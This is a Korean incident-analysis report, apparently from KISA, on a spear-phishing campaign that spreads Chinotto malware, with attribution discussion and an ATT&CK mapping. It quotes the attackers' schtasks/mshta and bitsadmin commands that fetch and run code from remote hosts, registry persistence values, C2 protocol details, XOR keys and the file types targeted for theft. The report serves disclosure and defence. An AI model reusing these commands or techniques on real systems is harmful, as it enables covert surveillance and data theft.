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1. Abstract

본 보고서에서는 2021년부터 현재까지 개인의 PC(사무용 포함)를 타겟으로 단말기 정보를 탈취하는 

고도화된 정보수집 활동과 공격 기법, 전술 그리고 절차에 대해 설명합니다. 상세한 정보를 도출하기 

위하여 공격자가 악용한 서버를 직접 분석했으며, 분석결과를 검증하기 위해 글로벌 백신업체로부터 

추가적인 정보를 공유받아 TTPs(Tactics, Techniques, and Procedures)를 도출하였습니다. 

공격자는 피싱메일의 미끼 파일과 IP 필터링을 통해 특정 개인을 Chinotto 악성코드에 감염시키고, 사무용 

컴퓨터와 스마트폰에 대한 정보탈취를 시도합니다. 본 보고서에서는 이러한 과정에서 사용된 공격자의 

명령과 사용된 기법 등 공격그룹 특유의 행위를 명시합니다.

이번 보고서에서 확인한 Chinotto 악성코드는 보안전문가 사이에서 ScarCruft 그룹이 사용하는 악성 

코드라고 알려져 있습니다. 그러나 사고조사 과정에서 확보한 공격자의 자원을 수집 및 분석한 결과, 

▲ 피싱메일 정보수집기 내 메일송신기능 ▲ 백도어용 계정명 ▲ 피싱 이메일 형식 ▲ 명령어(파라미터 

포함)를 기준으로  Kimsuky 그룹의 공격 자원과도 유사하다고 확인하였습니다. 

백신업체들은 본 보고서에서 다루는 사건의 주체를 ScarCruft, 금성121, Kimsuky 등으로 각각 정의하고 

있습니다. 하지만, 위의 유사성에도 불구하고 Kimsuky 그룹이 아니라 ScarCruft라고 판단한 이유는 

공격그룹의 목적과 목표에 따라 대응범위를 차별화하여 집중시킬 수 있기 때문입니다.

본 보고서를 통해 공개한 TTPs는 직접적으로 공격자의 공격 속도를 늦출 수 있으며, 유관기관의 방어능력 

강화를 위한 새로운 인사이트 도출로 이어질 것입니다.

Abstract
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2. Introduction

정보유출 사고는 매년 끊임없이 지속적으로 발생하고 

있습니다. 한국인터넷진흥원(K ISA)은 정보유출 사고를 

분석하는 과정에서 한국에 거주하는 특정 인물들을 대상 

으로 한 정보 수집 활동을 포착할 수 있었습니다. 개인 PC가 

감염되면, 공격 대상 뿐 아니라 공격 대상의 주변인 정보까지 

유출 될 수 있으며, 이 정보를 바탕으로 피해자를 사칭해 

주변인에게까지 악성 메일을 발송하는 등 추가적인 피해를 

야기할 수 있습니다.

일반적으로 유출된 정보의 가치는 개인보다 기업이 크기 때문에, 

고 수준의 공격전략을 활용하는 공격 그룹은 기업을 타겟으로 

활동합니다. 하지만, 본 보고서에서는 기존 보고서의 기업정보 탈취가 중심이 아닌, 공격 대상(인물)의 

개인 PC, 업무용 PC를 노려 단말기 정보(데스크톱, 모바일 기기)를 탈취하는 고도화된 정보수집 활동과 

공격 기법, 전술 그리고 절차에 대해 서술합니다.

본 보고서에서 정의한 공격 활동은 2021년부터 현재까지 계속 진행 중인 공격입니다. 우리는 공격자가 

악용한 서버를 분석 했으며, 이 과정에서 공격자의 서버에서 확인된 여러 공격 기법과 전략, 전술 등을 

파악할 수 있었습니다. 추가로, 우리는 글로벌 백신업체(AhnLab, EstSecurity, Kaspersky)에서 해당 공격  

활동과 관련된 악성코드, 명령어 등 정보를 공유받아 더욱 명확하게 공격 프로세스에 대해 확인 했습니다.

백신업체들은 이 공격의 주체를 각각 ScarCruft, 금성121, Kimsuky 등으로 구분 짓고 관리합니다. 우리는  

이번 보고서에서 특정 인물들을 대상으로 한 정보수집 공격 분석 뿐 아니라, 본 사고가 해당 그룹들과 

어떠한 연관성을 가지고 있는지 이야기합니다.

상세한 분석결과는 공격의 흐름을 파악할 수 있도록 구성한 3장 Attack Scenario와 TTPs를 기준으로 

정리한 4장 ATT&CK Matrix에서 확인할 수 있습니다. 이후 5장 Association에서는 사고 분석을 통해 공격 

그룹의 특징이 중첩되어가는 현상과 이에 대한 고민을 공유하고, 마지막 결론을 통해 마무리합니다.

Introduction
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2. Introduction

공격 대상의 이메일 정보, 관심 정보 등을 수집

정찰 (Reconnaissance)

기업의 웹서버를 탈취해 명령제어 서버를 구축하며, 공격에 필요한 문서, 스크립트, 악성코드를 자체 제작

자원 개발 (Resource Development)

악성코드 유포 페이지가 내재된 스피어피싱 메일 송부(IP 필터링을 통해 타겟에게만 추가 악성 스크립트 전달)

최초침투 (Initial Access)

미끼 문서파일 열람을 통해 추가 악성코드를 다운로드, 실행

실행 (Execution)

파워셸 스크립트와 원격제어 악성코드를 레지스트리, 스케줄러에 등록해 지속성을 유지

침투 후 BITSAdmin 을 통한 추가 파일 다운로드 및 실행

지속성 유지 (Persistence)

감염대상의 시스템 정보(시스템 시간)를 확보

탐색 (Discovery)

수집한 정보를 압축 및 인코딩하여 공격자의 서버로 유출

유출 (Exfiltration)

원격제어 악성코드를 통한 감염 시스템의 사용자 활동 데이터(스크린 캡처, 키로그 데이터 등) 수집

명령제어를 이용한 피해 시스템의 정보 및 사용자 파일 등 다양한 정보를 수집

수집 (Collection)

공격자는 Windows 정상 유틸리티(mshta)를 악용해 악성코드를 다운로드받고 실행

도움말 파일(chm)로 위장하여 악성코드를 유포

악성코드를 정상 프로그램명과 유사한 이름으로 작업 스케줄러에 등록

백신이나 보안장비 등의 탐지 우회를 위해 통신 데이터 등을 모두 인코딩

방어 회피 (Defense Evasion)
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3. Attack Scenario

１． 최초 침투를 위해 공격자는 공격 대상에게 문서파일의 다운로드 링크가 첨부된 메일을 피해자에게 전달 했습니다. 

해당 링크를 통해 다운로드된 악성 문서파일은 공격자가 홈페이지 탈취를 통해 악용중인 1차 악용서버 에서 유포  

되었습니다. 유포된 악성 문서는 콘텐츠 사용시 악성스크립트를 실행하며 정상 문서로 위장하기 위해 “조선민주주의 

인민공화국 내 인권 상황에 관한 총회 결의 (2021년 12월 16일 채택)”의 내용의 미끼문서를 보여줍니다.

Attack Scenario

https://seoul.ohchr.org/ko/node/397
https://seoul.ohchr.org/ko/node/397
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3. Attack Scenario

2.  악성 문서 다운로드 및 열람시 콘텐츠 기능을 활성화 하기를 요구하며, 콘텐츠 기능 활성화시 활성화 모드가 Target 

Mode="External” 모드로 네트워크 위치에서 추가 템플릿을 로드해 다운로드받고 실행시키게 됩니다.

<Relationships 
Target="http://***lin.org/info/style?title=2202191"
TargetMode="External"/>
</Relationships>

3.  템플릿 로드시 외부에서 추가 템플릿을 다운로드 받아 로드하게 되며, 추가 다운로드 된 템플릿에 삽입된 메크로 기능을 

통해 작업스케줄러를 생성 및 실행시킵니다. 생성된 작업스케줄러는 정상기능으로 위장하기 위해 특정 백신사명의 위치에  

동작을 생성하게 되며, 이 기능은 공격자의 원격 페이지에 30분마다 접속을 시도합니다.

작업스케줄러 생성

•이름 : Report

•위치 : \EstSoft/AlCap

•동작 : 프로그램 시작 “mshta http://***lin.org/adm/phpMyAdmin/info/style.php”

•트리거 : 실행 이후 30분 마다 반복 

cmd /c start schtasks /Create /SC MINUTE /MO 30 /TN EstSoft\AlCap\Report /TR 
        "mshta http://***lin.org/adm/phpMyAdmin/info/style.php"

작업스케줄러에 등록된 공격자 페이지
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3. Attack Scenario

4.  3에서 생성된 작업 스케줄러를 통해 공격자의 원격 페이지에 연결을 시도하며, 공격자의 페이지는 접속한 아이피가 공격 

대상의 아이피 인지를 체크합니다. IP 필터링을 통해 공격대상이 웹페이지에 접속한 것이 확인되면 추가 파워셸 스크립트를  

실행시킵니다. 

파워셸 스크립트는 명령을 수신받아 수행하는 행위를 하는 코드이며, 실행시 명령제어 페이지에 접속해 명령을 받아 수행 

하게 됩니다. 파워셸 스크립트는 3에서 생성했던 작업 스케줄러의 트리거의 동작 시간을 30분에서 60분 마다 반복하도록  

수정합니다.

명령제어 페이지와의 명령 송수신시의 값은 xor, base64 인코딩 되어있는데, 이때 전달된 데이터에서 변수명의 길이가 

5이면 그 값은 xor key이고, 변수명의 길이가 7이면 그 값은 인코딩된 데이터를 의미합니다.

http : //C/price.php? 
LZztD0=EjQ6A&tY3GuwOS=YRnIrC&jkBqZM=OpGbQsIxdUiwT8&qIz=XKQP6S94kax&BjQfq=lGmx2DF4XO1NV7j5&EAay
uXx=GD4dHQ8nKVk1Ll8qcFMDRwkkGRFdKntGPSxUJyBSTFwIejoxfGkUBxsFZA0HcCcAWw&6EfC=43Wy2s7&vU=O

패킷은 위 코드와 같이 인코딩되어 있으며, 아래와 같이 값을 복호화 할 수 있습니다.

전달된 패킷에서 확인되는 xor를 이용해 인코딩된 데이터를 확인하면 아래와 같은 정보를 얻을 수 있습니다.

변수명의 길이가 7인 변수의 데이터를 복호화 하면 type, direction의 값을 통해 수행할 명령의 기능이 포함되어있으며, 

xor 키는 매 통신시 랜덤하게 생성되어 각각 다른 키를 사용합니다.

type=command&direction=receive&id=[SerialNumber] 
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3. Attack Scenario

5.  파워셸 스크립트는 명령 송수신 채계를 통해 명령을 수신하면 수신된 명령을 cmd 명령을 통해 수행할 수 있습니다. 

수행 후 수행 결과는 3가지 방법(OK,OK_Ignore,명령 결과 값 %APPDATA%\KI3wLbT7.dat)중 하나를 Base64로 인코딩해  

C2에 전달하며, 명령을 전달하는 전체 시나리오는 다음과 같습니다.

• 최초 감염된 시스템은 지속적으로 비콘 신호를 C2서버에 전달하며, 비콘 신호는 감염된 시스템의 시스템정보를 id값 

(식별자)을 생성해서 주기적으로 전달합니다. 해당 정보를 수신한 명령제어 서버는 id값을 통해 3개(id, id-first, id-result)의  

파일을 생성하게 되며, 해당 파일에는 감염 시스템에 전달할 명령, 명령 결과, 시간 정보등이 쓰여지게 됩니다.

파워셸 스크립트를 통한 명령제어 및 공격자 서버와의 통신을 위한 상세 기술명세

공격자의 명령 송신 및 결과 수신은 최초 피해자에게 수신받은 ‘id’값을 통해 만들어진 3개의 파일을 통해 이루어 집니다.  

‘id’ 파일은 감염 시스템에 전달할 명령에 대한 정보가 들어있는 파일이며, ‘[id]-result’는 피해 시스템이 [id] 파일에 있는  

명령을 읽어와 수행한 결과 값이 저장됩니다. 

Victim-indentifier Description

[COMPUTERNAME] 감염시스템에 전달할 명령 정보

[COMPUTERNAME]-first 시간값 및 카운팅 정보

[COMPUTERNAME]-result 명령 결과에 대한 정보(base 64로 인코딩 된 결과 값)
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3. Attack Scenario

공격자로부터 수신받은 명령 값의 문자열 중 xzbz가 포함되어 있으면 cmd 명령을 수행합니다. 명령의 결과는 “APPDATA 

\KI3wLbT7.dat“에 저장이 되는데, 명령에 ‘start’ 또는 ‘ignore’ 문자열이 포함되어 있다면 결과 값은 단순텍스트를 전달 

하며, zxbz 외에 다른 명령 문자열이 존재하지 않다면 명령의 결과 값(KI3wLbT7.dat)을 읽어 전달합니다. 

Type Value command result

zxbz

start cmd.exe / [command] OK

ignore cmd.exe / [command] OK_lgnore

- cmd.exe / [command] command_result

파워셸 스크립트를 통한 명령 표

명령을 전달할 [id] 파일에는 아래와 같은 명령이 저장되어 있습니다. 아래 명령의 경우 xbzi 로 cmd 명령을 수행하도록  

알리며, cmd 명령을 통해 작업 스케줄러에 있는 특정 스케줄러를 삭제는 명령을 내립니다. 또한, 그 결과를 [id]-result 

값에 저장하게 됩니다.

nrxddvoblfzxbzi:schtasks /delete /tn \EstSoft\Alyak\Report /f

C2가 수신받아 명령을 수행 할 수 있는 타입은 총 6가지이며, 각 기능은 Direction의 값(send, receive)에 따라 설정된 

기능을 수행합니다.

일부 type의 경우 Direction의 값이 send, recevice로 나누어져 있는데, 이는 각 상황에 따라 공격자가 C2에 명령을 

전달하고 결과를 확인하거나, 피해 시스템이 명령을 수신하고 결과를 전달받기위해 구분이 되어 있습니다.

또한, 버전의 경우 수집된 명령제어 페이지의 버전은 1.5 버전입니다.

Type Direction Comment

Version - Check Version

hello
send Initialize the result file

receive Check victim devices list

Command
send 명령을 파일에 쓰기

receive 컨텐츠 출력 및 초기화

Result
send Data 파라미터 수신 받아 result 파일에 쓰기

receive 결과 컨텐츠 출력 및 초기화

File -

excmd - 수신받은 데이터 값 실행
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6.  위 통신 체계를 통해 감염 시스템에게 명령을 전달해 명령을 수행하고, 결과값을 수신할 수 있으며, 또한 악성코드를 

다운로드 받아 실행할 수 있습니다. 명령을 통해 다운로드 된 악성코드를 분석한 결과 Kaspersky가 작성한 리포트에서 

확인된 Chinotto 악성코드와 동일한 악성코드임을 확인했습니다. 뿐만 아니라 공격자 서버에서 확인된 악성코드에 의해 

수집된 피해자의 데이터를 복호화 하는데 사용되는 키가 ‘YFXAWSAEAXee12D4’로 Ksapersky 리포트에서 소개된 

악성코드와 동일 했으며 악성코드의 특징 또한 동일했습니다.

악성코드는 원격제어형 악성코드로 많은 기능을 가지고 있었지만, 주요 행위로는 감염된 피해자의 시스템에서 

주기적으로 화면을 캡처해 전달하는 기능을 수행했습니다. 

Chinotto 악성코드 정보 

악성코드 기본 정보

Hash : 00df5bbac9ad059c441e8fef9fefc3c1
C2 : ***inix.open****.com/bbs/data/proc1/proc.php
MutexName : NxaNnkHnJiNAuDCcoCKRAngjHVUZG2hSZL03pw8Y

identifiy_data = base64(xor(GetComputerNameA & GetUserNameA))
xor key : YFXAWSAEAXee12D4

Base Command - scap: 

• 원격제어 악성코드 상세 기능

Command Description

ref: C2에 상태 전달, http : //[C2]?ref=id=[%s]&type=hello&direction=send

cmd: 수신받은 cmd 명령 실행 및 로그 저장

down: 파일 다운로드 및 결과 로그 저장

up: 파일 업로드 및 결과 로그 저장

state: 로그파일 업로드 및 로그파일 삭제

regstart:

레지스트리 값 등록 및 결과 로그파일 업로드 및 삭제 위치 : HKEY_CURRENT_USER\\
Software\\Microsoft\\Windows\\CurrentVersion\\Run  
값 이름 : a2McCq  
값 데이터 : C:\\Users\\Public\\Documents\\[malware]

cleartemp:
CSIDL_APPDATA C:\\Users\\[USERNAME]\\AppData\\Roaming\\
s5gRAEs70xTHkAdUjl_DY1fD 하위 파일 삭제

updir: 명령으로 수신된 디렉토리 압축 및 xor인코딩 후 업로드, 로그파일 업로드 및 로그파일 삭제
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Command Description

init:

CSIDL_DESKTOP, CSIDL_PERSONAL, CSIDL_MYMUSIC, CSIDL_MYVIDEO, 에서 아래 파일 

수집 및 업로드 

jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|txt|mp3|amr|
m4a|ogg|aac|jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|
txt|mp3|amr|m4a|ogg|acc|av|wma|3gpp|eml|lnk|zip|rar|egg|alz|7z|vcf|3gp|

scap:
일정 시간 감염시스템의 스크린샷을 찍어 압축 후, YFXAWSAEAXee12D4로 xor하고 

e_[10자리Random str]로 저장 및 공격자의 C2서버로 전달

run: ShellExecuteW 함수를 통해 매개변수로 지정된 항목을 실행 후 로그파일 전달 및 삭제

chdec: 암호화 된 DATA_BLOB구조의 데이터를 다운로드 받고 복호화.

update:

인자로 받은 파일 다운로드,xor 디코딩, 기존 레지스트리에 등록된 정보 삭제 및 신규 

레지스트리 등록

로그파일 전달 및 삭제 위치 : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run  
값 이름 : m4cVWKDsa9WxAWr41iaNGR  
값 데이터 : [_malware]

변종 Chinotto 악성코드 정보

사고 조사 과정에서 Chinotto 악성코드의 변종 확보했으며, Base Command 가 scap에서 ckup로 변경 되었습니다. 

ckup는 피해 시스템의 스크린샷 유출 뿐만 아니라, 키로깅 기능까지 추가 되었습니다.

추가 확보한 Chinotto 악성코드 변종의 PDB 경로는 아래와 같습니다.

PDB Path :
E:\4.Work\PROJECT\windows\Plugin_CKUP\Plugin_CKUP\Release\Plugin_CKUP.pdb
E:\4.Work\PROJECT\windows\Plugin_CKU\Plugin_CKU\x64\Release\Plugin_CKU.pdb

변경된 원격제어 악성코드 기능

Command (기존) Description (기존)

scap: 일정 시간 감염시스템의 스크린샷을 저장하고 압축해 정보 유출

Command (변경) Description (변경)

ckup:

감염시스템의 스크린샷을 찍어 압축 후, PEXdRUSBACXX3DAD로 xor하고 

e_[10자리Random str]로 저장 및 공격자의 C2서버로 전달 및 c:\\user\\
Public\\Key.ini 생성 및 키로깅 정보 수집
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7.  원격제어 악성코드의 C2페이지의 기능은 다음과 같은 기능이 있습니다. 

최초 타입별로 hello, command, result, File 4개의 타입으로 구분되며, 각 타입은 하위 값인 direction 값을 통해 상세 

명령으로 구분되며, direction의 분류를 통해 공격자에게 명령을 수신받아 감염 시스템으로 전달하거나, 감염시스템에서 

정보를 받아 공격자에게 전달하는 역할을 합니다. 

명령제어 페이지의 상세 명령 

1. Type = hello

이 기능은 감염 시스템의 클라이언트 상태 정보를 관리하기 위한 타입입니다. 클라이언트의 상태를 ON,OFF로 

변경하거나, 명령파일을 초기화 하는데에 이용 됩니다.

Type Direction Description

hello

send shakest 파일의 클라이언트 상태를 ON으로 변경

receive readcontents file (shakest)

refresh shakest 파일의 클라이언트 상태값을 OFF로 바꿈

release Comcmd file 초기화

client Echo 'OK' 출력

2. Type = command

command 기능은 감염시스템에 명령을 전달하거나 명령 결과를 수신하기 위한 명령입니다. Direction의 값이 send인 

경우, 클라이언트에 전달하기위한 명령을 공격자가 C2로 전달할때 사용됩니다. 

이때, ‘btid’가 값이 있는경우는 감염된 모든 클라이언트에 공통적으로 명령을 전달하기위해 사용되며, ‘btid’값이 없는 

경우에는 특정 클라이언트(식별자)에게만 명령을 전달하는 경우에 사용됩니다. refclear은, 전달할 명령데이터를 초기화 

하는 명령어이며, Direction의 값이 receive인 경우는 감염된 클라이언트가 명령을 수신받기위해 사용됩니다.

Type Direction btid data Description

command
send

cli

refclear: Data 초기화

-
Cimcmd 파일에 data 파라미터의 값 

쓰기

-
refclear: id파일 초기화

- Id파일에 data 파라미터의 값 쓰기

receive - - Id, 및 shakest 파일의 명령 값 수신

3. Type = result

result는 명령 수행결과를 c2에 전달하고, 또 공격자는 C2에 있는 명령 결과를 읽는데 사용됩니다. Direction이 send 인  

경우에는 피해 시스템이 명령수행한 결과값을 C2에 저장하기 위해 사용되며, receive의 경우, 공격자가 명령수행결과를  

전달받기 위해 사용 되는 값 입니다.
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Type Direction Description

result
send id.result 파일에 명령 결과 데이터 쓰기

receive id.result 값 base64로 인코딩해 출력

4. Type = File

file 은 감염된 클라이언트에 있던 특정 파일을 C2로 업로드하기위해 사용됩니다. 

Type Description

File 파일 업로드

8.  공격자는 Chinotto 악성코드 뿐만 아니라 정보유출을 위한 추가 악성코드를 악용한 것을 확인할 수 있었습니다. 공격자의 

침해 호스트에는 다음과 같은 추가 파일이 업로드 되어 있었습니다. 

Hash : c83a6b9e743a6f7cfcb658f85630fbde
PDB Path : E:\4.Work\PROJECT\windows\Plugin_Phone\Plugin_Phone\Release\Plugin_Phone.pdb

해당 악성코드는 감염 시스템(Windows System)에 모바일 장치가 접속 될 시 모바일 장치의 데이터를 %Programdata%\

Phone\[device name]에 복사합니다. 이 악성코드를 통해 피해자의 모바일 장치 데이터를 수집합니다.



16

4. ATT&CK Matrix

Tactic ID Sub-technique Description

Reconnaissance T1589.002 Gather Victim Identity Information
표적으로 삼을 대상의 이메일 정보를 

수집

Resource 
Development

T1584.004
Compromise Infrastructure: 
Server

홈페이지 탈취를 통한 C2 farm 구성

Resource 
Development

T1587.001 Develop Capabilities: Malware
공격그룹이 사용하는 고유한 악성코드 

Chinotto Malware 사용

Resource 
Development

T1608.001
Stage Capabilities: Upload 
Malware

감염 단계에서 파워셸 스크립트 등을 

추가 악성 파일을 감염된 서버에 업로드

Resource 
Development

T1608.002 Stage Capabilities: Upload Tool
공격에 사용할 툴을 침해 호스트 

서버에 업로드

Initial Access T1566.002 Phishing: Spearphishing Link
스피어피싱 메일내에 링크를 통해 악성 

문서 다운로드 및 실행 유도

Execution T1059.001
Command and Scripting 
Interpreter: PowerShell

파워셸 스크립트를 통해 C2와 통신 및 

명령제어 수행

Execution T1059.003
Command and Scripting Interpreter: 
Windows Command Shell

파워셸 Malware 와 윈도우즈 Chinotto 

Malware 는 cmd 기능을 통해 명령 실행

Execution, 
Privilege 
Escalation

T1053.005
Scheduled Task/Job:  
Scheduled Task

예약작업을 통한 지속적인 C2연결 시도

Execution T1204.002 User Execution: Malicious File 악성 문서 실행을 유도

Persistence T1197 BITS Jobs
BITSAdmin을 통한 추가 파일 다운로드 

및 실행

Privilege 
Escalation

T1547.001
Boot or Logon Autostart 
Execution: Registry Run Keys / 
Startup Folder

악성코드의 지속성을 위해 

레지스트리에 악성코드를 등록

Defense Evasion T1140
Deobfuscate/Decode Files or 
Information

스트립트 난독화 및 통신시 데이터 

인코딩

Defense Evasion T1574.002
Hijack Execution Flow: DLL 
Side-Loading

공격자는 악성코드 실행을 위해 정상 

프로그램을 실행하고, Side Loading 

기법을 이용 악성코드 주입

ATT&CK Matrix
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Tactic ID Sub-technique Description

Defense Evasion T1218.001
System Binary Proxy Execution: 
Compiled HTML File

도움말 파일로 위장한 악성 . 

chm 파일 유포

Discovery T1124 System Time Discovery
명령제어지 관리를 위해 감염시스템의 

시간 정보를 전달받음

Collection T1560.002
Archive Collected Data: Archive 
via Library

감염 시스템 이미지를 캡처하고  

이를 압축

Collection T1119 Automated Collection
scap 명령은 피해자의 화면캡처를 하고 

지속적으로 전달

Collection T1005 Data from Local System
감염 시스템내에서 설정된 위치의 

파일을 수집하고 전달

Collection T1025 Data from Removable Media
모바일 장치 연결시 모바일 장치의 

디렉토리 파일 복사

Collection T1056.001 Input Capture: Keylogging
감염 시스템 내에서 정보수집을 위해 

입력을 캡처하고 저장

Collection T1113 Screen Capture 화면을 캡처하고 전달

Command and 
Control

T1132.001
Data Encoding: Standard 
Encoding

명령제어를 위해 xor, base64등을 이용

Exfiltration T1041 Exfiltration Over C2 Channel 수집한 정보를 C2 채널을 통해 유출

         

•T1589.002 Gather Victim Identity Information 

표적으로 삼을 대상에게 이메일을 보내기위해 관련 정보를 탐색하고 수집 합니다.

•T1584.004 Compromise Infrastructure: Server

한국에 있는 일반 홈페이지에 파일 업로드 취약점을 이용해 웹셸 삽입 및 악성파일 업로드를 통한 C2 farm을 구성하고 

악용합니다.

C2 Page Description

powersys.k****.ac.kr/sub09/temp/downdoc[.]php 악성 문서 다운로드

http://***lin.org/info/style?title=2202191 악성 템플릿 다운로드

http://***lin.org/adm/phpMyAdmin/info/style.php 악성 스크립트 다운로드

http://***inix.kr/bbs/data/comb/price.php 파워셸 명령제어 페이지

***inix.open****.com/bbs/data/proc1/proc.php 악성코드 명령제어 페이지

각 구간에서 사용된 상세 기술은 아래에서 확인할 수 있습니다.
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•T1587.001 Develop Capabilities: Malware

공격그룹이 사용하는 고유한 악성코드인 Chinotto Malware를 사용합니다.

Malware info 
Hash : 00df5bbac9ad059c441e8fef9fefc3c1
Hash : f48414d08a3470eb2bd1c97ca548eeae
Hash : 24dca90757a5c176f64d2970820cfdbc

C2 페이지, 정보유출지 서버 관리를 위한 페이지 등을 사용합니다.
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•T1608.001 Stage Capabilities: Upload Malware

감염 단계에서 파워셸 스크립트 등을 추가 악성 파일을 감염된 서버에 업로드 되어 있으며, 타겟 공격 페이로드 순서대로 

악성 파일을 피해 클라이언트에 다운로드 받아 실행시킵니다.

•T1608.002 Stage Capabilities: Upload Tool

침해 호스트에 악용할 도구와 설정파일을 업로드하고 악용합니다.

[compromised host]\~path\a.ini
[compromised host]\~path\b.ini
[compromised host]\~path\D_CDEG.ini
[compromised host]\~path\Phone.ini
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•T1566.002 Phishing: Spearphishing Link

스피어피싱 메일내에 링크를 통해 악성 문서 다운로드 및 실행 유도합니다.

•T1059.001 Command and Scripting Interpreter: PowerShell

공격자는 명령 실행을 위해 파워셸 스크립트 악용합니다. 스트립트를 통해 지속성 확보를 위해 작업스케줄러에 작업을 

등록하며, C2 연결을 통해 공격자로부터 명령을 받아 수행합니다.
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•T1059.003 Command and Scripting Interpreter: Windows Command Shell

Windows의 기본 명령프롬프트인 cmd를 통한 명령 전달 및 수행 합니다.

•T1053.005 Scheduled Task/Job: Scheduled Task

작업스케줄러에 등록하고 특정 시간마다 반복해 C2에 접속하도록 설정합니다.

작업스케줄러에 등록된 공격자 페이지
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•T1204.002 User Execution: Malicious File

최초 유포된 악성 문서는 내용을 보기위해 문서 상단에서 콘텐츠 사용을 클릭해 악성 스크립트가 동작하도록 유도합니다.

•T1197 BITS Jobs

BITSAdmin 도구를 활용한 추가 악성코드를 다운로드하고 실행합니다.

Command Line: 
"C:\WINDOWS\system32\cmd.exe" /c "bitsadmin /transfer mmm [compromised host]/xe/files/attach/
images/555/[malware].dll c:\users\pubilc\libraries\evc.dll"

•T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

악성코드의 지속성을 위해 레지스트리에 악성코드를 등록 시킵니다.

Path: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
Value name : a2McCq
Value Data :C:\\Users\\Public\\Documents\\[malware]
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4. ATT&CK Matrix

•T1140 Deobfuscate/Decode Files or Information

안티바이러스, 탐지시스템등 우회를 위해 office 매크로, 파워셸 스크립트 등이 xor로 인코딩되어 저장되어 있습니다.

•T1574.002 Hijack Execution Flow: DLL Side-Loading

*** 침해사고 피해지에서 확인된 본 TTP는 실행절차 확인이 안되어 공격 개요도에서는 제외되었으며, TTP에만 서술함 ***

path : C:\Users\Public\
msinfo32.exe(5c49b7b55d4af40db1047e08484d6656)
mfc42u.dll(f7a63c88deedc11b8601ce5ace962bbe)

path : C:\Users\Public\Libraries
evc.dll(52e793b9acdb66509008a0ba0475bb3f)
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4. ATT&CK Matrix

정상 프로그램인 msinfo.dll을 msinfo32.exe로 이름을 변경, 사용합니다. msinfo32.exe와 동일 폴더에 mfc42u.dll가 

있었으며, msinfo32.exe 실행시 DLL Side-Loading 기법을 통해 동일 폴더에 존재하는 악성 mfc42u.dll이 로드됩니다.

로드된 mfc42u.dll은 Chinotto 악성코드인 evc.dll을 msinfo32.exe에 로드하여 동작합니다.

•T1218.001 System Binary Proxy Execution: Compiled HTML File

도움말 파일로 위장된 악성 .chm파일을 유포했습니다. .chm 파일 실행시 악성 페이지로 연결되어 추가 스크립트를 다운로드  

받아 실행합니다.
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4. ATT&CK Matrix

•T1124 System Time Discovery

악성코드는 명령제어 및 관리를 위해 로그파일에 명령 시간과 명령 결과를 저장. 저장시 0x75로 인코딩해 저장합니다.

•T1560.002 Archive Collected Data: Archive via Library

악성코드는 수집한 감염시스템의 스크린캡처 화면을 압축 및 xor연산해 수집합니다. 이 때, 수집한 데이터는 e_[random_10] 

으로 저장되어 전달하며, xor키는 “YFXAWSAEAXee12D4”, ”PEXdRUSBACXX3DAD” 등 악성코드에 명시된 고정된 키 

값을 사용합니다.

•T1119 Automated Collection

악성코드는 감염시 기본 설정이 scap: 또는 ckup: 로 되어있으며, 이 명령을 통해 지속적으로 감염 시스템의 화면을 캡처 

하고 압축해 수집하고 정보유출지로 전달합니다.

•T1005 Data from Local System

init: 명령은 CSIDL_DESKTOP, CSIDL_PERSONAL,CSIDL_MYMUSIC, CSIDL_MYVIDEO 에서 아래 파일을 수집하고 

업로드할 수 있습니다.

jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|txt|mp3|amr|
m4a|ogg|aac|jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|
txt|mp3|amr|m4a|ogg|acc|av|wma|3gpp|eml|lnk|zip|rar|egg|alz|7z|vcf|3gp|
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4. ATT&CK Matrix

•T1025 Data from Removable Media

이동식 미디어 데이터가 연결되면 연결된 드라이브의 데이터를 C:\ProgramData\Phone\[단말기명]\ 에 복사합니다.

•T1056.001 Input Capture: Keylogging

악성코드 감염시 c:\\user\\Public\\경로에 Key.ini파일을 생성하며, 수집된 키로깅 정보를 지속적으로 key.ini파일에 

저장합니다.
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4. ATT&CK Matrix

•T1113 Screen Capture

악성코드는 감염시 기본 설정이 scap: 또는 ckup: 로 되어있으며, 이 명령을 통해 지속적으로 감염 시스템의 화면을 캡처하고 

압축해 수집하고 정보유출지로 전달합니다.

•T1132.001 Data Encoding: Standard Encoding

명령 송수신시 xor, base64등을 사용해 명령을 인코딩해 전달하고 명령 결과를 수신받습니다.
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4. ATT&CK Matrix

•T1041 Exfiltration Over C2 Channel

명령제어서버를 통해 명령 송수신 및 감염 시스템에서 정보수집을 수행합니다.
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5. Association 

우리는 침해사고 분석 과정에서 흥미로운 점을 확인했습니다. 본 침해사고에서 확인된 명령제어 및 정보유출형 악성코드인 

“Chinotto"는 ScarCruft그룹 고유의 악성코드 입니다. 그러나 명령제어지 조사를 통해 확인된 공격자원(악성코드 명령제어 

서버, 피싱메일 발송기, 파워셸 스크립트 등)은 Kimsuky 그룹의 공격 자원과 일부 유사하다 는 점을 발견하였습니다.

이번 장에서는 침해사고 분석 과정에서 확인된 두 그룹(ScarCruft, Kimsuky)의 공통적인 특징에 대해 이야기 합니다.

1. 피싱메일 정보 수집기

ScarCruft C&C 서버에서 발견한 파일인 verify.php를 살펴보면 코드의 일부가 난독화되어 있습니다. 디코딩을 할 때에  

‘$checksum=”ccc”’라는 문자열을 확인하여 디코딩이 제대로 되었는지 확인합니다.

이때 디코딩 함수의 이름은 aes_dec이지만 실제로 디코딩 기능은 key값과 XOR 연산으로 이루어집니다.

인코딩된 코드를 해독하면 메일 송신 기능이 담긴 코드가 보이는데 그 중 Mobile_Detect란 이름의 Class가 존재합니다.  

해당 기능은 2020년에 KIMSUKY가 관리하는 서버에서도 발견된 적이 있습니다. 

KIMSUKY가 관리하는 서버에서 Mobile_Detect.php란 이름의 파일이 존재했으며, 이 당시에는 Mobile_Detect 기능이 

코드의 일부가 아닌 단독 파일로 존재하였습니다. 자세한 내용은 KISA Operation Muzabi 보고서에 있습니다.

Association

https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936
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5. Association 

Mobile_Detect Class

